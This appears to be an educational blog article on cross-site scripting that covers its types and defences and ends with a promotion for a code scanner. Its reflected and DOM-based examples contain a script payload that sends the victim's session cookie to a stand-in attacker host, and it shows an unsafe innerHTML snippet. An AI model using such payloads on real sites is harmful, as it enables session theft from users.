Cross-site scripting (often shortened to XSS) is a common security vulnerability that is more prevalent in web applications. It’s estimated that more than 60% of web applications are susceptible to XSS attacks, which eventually account for more than 30% of all web application attacks. The popular OWASP Top Ten document even lists XSS flaws as one of the critical threats to web application security.
This article talks about the cross-site scripting attack so that you can be equipped with the necessary knowledge to avoid it and practice secure coding.
What Is Cross-Site Scripting Attack?
In general, web applications prone to XSS attacks do not validate or encode users’ inputs. A cybercriminal can take advantage of this flaw and send a dangerous script to an unsuspecting end user. Unfortunately, the user’s browser treats the script as if it’s from a trusted source, and executes it—potentially causing damage to the unsuspecting user.
Cross-site scripting attacks circumvent the same-origin policy, which is a security measure that controls access to data between different websites. Web browsers usually enforce the policy by allowing a script on a web page to access the website’s associated data but disallow the same script from accessing the data of other unrelated websites.
How Does XSS Attack Occur?
Typically, a cross-site scripting attack takes place as follows:
- Cybercriminals discover that a web page that accepts users’ inputs is susceptible to XSS attacks. It could be accepting users’ inputs via comment boxes, login forms, or search boxes.
- The attackers create a malicious script (payload) and send it to an unsuspecting user. They could insert the payload into a phishing link and lure the victim into clicking it.
- When the victim clicks the malicious link, they are redirected to the vulnerable web page, which the victim hitherto trusts.
- The payload is injected into the vulnerable web page, and the victim’s web browser treats it as legitimate source code.
- When the unsuspecting user enters some inputs and submits them, the payload gets executed based on the cybercriminals’ instructions.
Here is a simple diagram that demonstrates how attackers can exploit the XSS vulnerability:
Types Of Cross-Site Scripting Attacks
Cross-site scripting attacks are generally categorized into two main groups:
- Non-persistent attacks (also called reflected attacks)
- Persistent attacks (also called stored attacks)
There are also other less common flavors of XSS flaws that get their own grouping based on the person you’re talking to. These are:
- DOM-based attacks
- Self-XSS attacks
Although there are various types of cross-site scripting attacks, most of them share one key similarity: the cybercriminal injects malicious code into the vulnerable web page, which tricks the browser that it’s a legitimate component of the web application upon execution.
Let’s talk about each of the types of attacks in more detail.
1. Non-Persistent Attacks (Reflected Attacks)
A non-persistent attack, also called a reflected attack, is a type of XSS attack that takes place when the web application returns a response that contains some or all of the attack vector. The vulnerable application essentially reflects (or displays) the injected script, and does not store it.
The non-persistent attack requires a vulnerability that allows user input to be returned without properly sanitizing the data. For example, it can exist in an error message, search result, or any response that contains user-provided information.
Reflected XSS attacks are usually delivered to the victims via innocent-looking avenues, such as phishing emails, obscured URLs on websites, or malicious links on text messages.
In case the unsuspecting user clicks the crooked link, submits a corrupted form, or even just visits an unscrupulous site, the malicious script moves to the susceptible web application and gets injected into its source code. The application will then reflect the payload on the victim’s web browser, which executes the code because it came from a “trusted” origin.
Let’s illustrate how an attacker could use reflected cross-site scripting to steal session cookies from a website.
Let’s say a web page has a search box, which displays the search text alongside the search results as follows:
Your search results for “searchtext”:
The web page also uses the HTTP GET request method to embed the user’s input data to the query string of the URL as follows:
If the search box is susceptible to a non-persistent XSS attack, a cybercriminal can send a malicious link to an unsuspecting user and exploit the vulnerability.
This is how the script-injected link could look like:
https://example.com/action.php?query=<script>document.location=’https://xssattacksite.com/log.php?c=’ + encodeURIComponent(document.cookie)</script>
If the user clicks the link above, an XSS attack is triggered and the web page shows the following information:
Your search results for “<script>document.location=’https://xssattacksite.com/log.php?c=’ + document.cookie</script>”:
The maliciously inserted code, which is reflected on the user’s web browser, silently redirects the user to the criminal’s external site, where the captured current session cookie data is used for carrying out harmful activities.
2. Persistent Attacks (Stored Attacks)
A persistent attack, also called a stored attack, is a type of an XSS attack that occurs when the malicious code is permanently stored on the server of the vulnerable web application. As a result, the dangerous code will be presented to the victim anytime they perform a desired action on the corrupted web page.
The persistent cross-site scripting attack takes place just like the non-persistent attack—the only difference is that the former’s injected code is saved perpetually on the application.
3. DOM-Based Attacks
In DOM-based XSS attacks, the cybercriminal takes advantage of the different techniques for accessing a web page’s DOM elements, and uses them to stage an attack.
Just like a reflected cross-site scripting attack, a DOM-based attack can also be delivered via a URL containing a dangerous script. However, instead of loading the payload in the HTTP response, the attack is carried out by maliciously manipulating the DOM environment.
let searchText = document.getElementById(‘searchText’).value;
let resultsData = document.getElementById(‘resultsData’);
resultsData.innerHTML = ‘Your search results for: ‘ + searchText;
As you can see on the code snippet above, the value from a user input field is grabbed and appended to an element within the web page’s HTML. If an attacker can control this value, they can craft a devious value that forces their own code to be executed.
Here is an example:
Your search results for: “<script>document.location=’https://xssattacksite.com/log.php?c=’ + document.cookie</script>”
4. Self-XSS Attacks
A self-XSS attack is a type of cross-site scripting attack that uses social engineering techniques to trick victims into running the harmful script themselves. For example, a user can be lured into copying and pasting destructive code into their own web browser’s address bar.
This type of attack may not be considered as a “true” cross-site scripting attack because it relies on socially engineering a user rather than leveraging a particular vulnerability on the web application. Nonetheless, self-XSS attacks can still lead to similar damages as other types of attacks, if carried out appropriately.
How To Prevent XSS Attacks
Let’s discuss some secure coding practices you can use to defend against cross-site scripting attacks.
a) Do not trust any user input
Since every user input on a web page introduces a risk of a cross-site scripting attack, you should treat them as untrusted and validate them as much as possible.
A simple yet effective technique you can use is to pass every inputted data via a security filter that detects and removes harmful keywords.
You can configure the filter to identify some common scripting strings that are not expected from the inputted data and prevent them from being executed. An example of such a scripting string is the HTML <SCRIPT> tag.
b) Use escaping/encoding
This technique modifies certain standard characters in the user’s data and ensures they are not interpreted as active content.
It’s recommended to use existing libraries for escaping or encoding the user’s data.
c) Sanitize HTML
If the user’s generated content contains HTML, escaping or encoding them could break all the valid tags. You need to use a security-focused library for parsing and cleaning the HTML formatted text in such cases.
d) Use Content Security Policy (CSP)
CSP is a browser-side mechanism that lets you whitelist the trusted sources in HTTP headers. You can use the technique to approve sources of content that browsers are permitted to load on your website.
Scan Regularly To Mitigate XSS Vulnerabilities
Apart from the earlier mentioned XSS prevention methods, it’s important to scan your codebase regularly for the presence of cross-site scripting vulnerabilities. Using external libraries could introduce XSS vulnerabilities in your application. If you import a compromised library into your project, it could be a huge security risk.
Therefore, you need to frequently scan your web applications using a powerful automatic scanner, such as the WhiteSource Bolt. It’s a free tool that allows you to find and fix open source vulnerabilities in your web applications. Bolt is the tool you need to code confidently and ward off security risks from your projects, including XSS vulnerabilities.